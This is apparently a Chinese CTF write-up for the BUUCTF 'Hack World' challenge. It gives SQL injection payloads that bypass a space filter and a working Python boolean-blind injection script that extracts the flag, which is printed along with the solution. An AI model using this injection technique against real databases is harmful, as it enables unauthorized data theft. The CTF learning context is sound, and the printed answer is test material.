BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World
-
提交1成功,提交字母a报错,猜测查询语句查询的是整数,外部无包裹
-
尝试后发现空格被过滤,但select未被过滤,直接查询
id=;select(flag)from(flag);
回显
bool(false)
-
题目提示flag是uuid,尝试使用布尔盲注来猜测字符串的长度与每一位的字母
uuid, Universally Unique Identifier,是一个长度为32位的随机字符串
-
猜测字符串长度
id=1^(length(select(flag)from(flag))>10)
最后得到结果,字符串长度为42
-
脚本
import requests url = 'http://fb7ec7fa-a1e4-4fdf-bc74-8d3c7a8531c3.node4.buuoj.cn:81/index.php' flag = '' for i in range(1, 43): max = 127 min = 0 for c in range(0, 127): s = (int)((max + min) / 2) payload = '1^(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(s) + ')' r = requests.post(url, data={'id': payload}) if 'Hello, glzjin wants a girlfriend.' in str(r.content): max = s else: min = s if ((max - min) <= 1): flag += chr(max) break print(flag) # flag{7083f16e-3c17-4965-b34e-52b75acec4c6}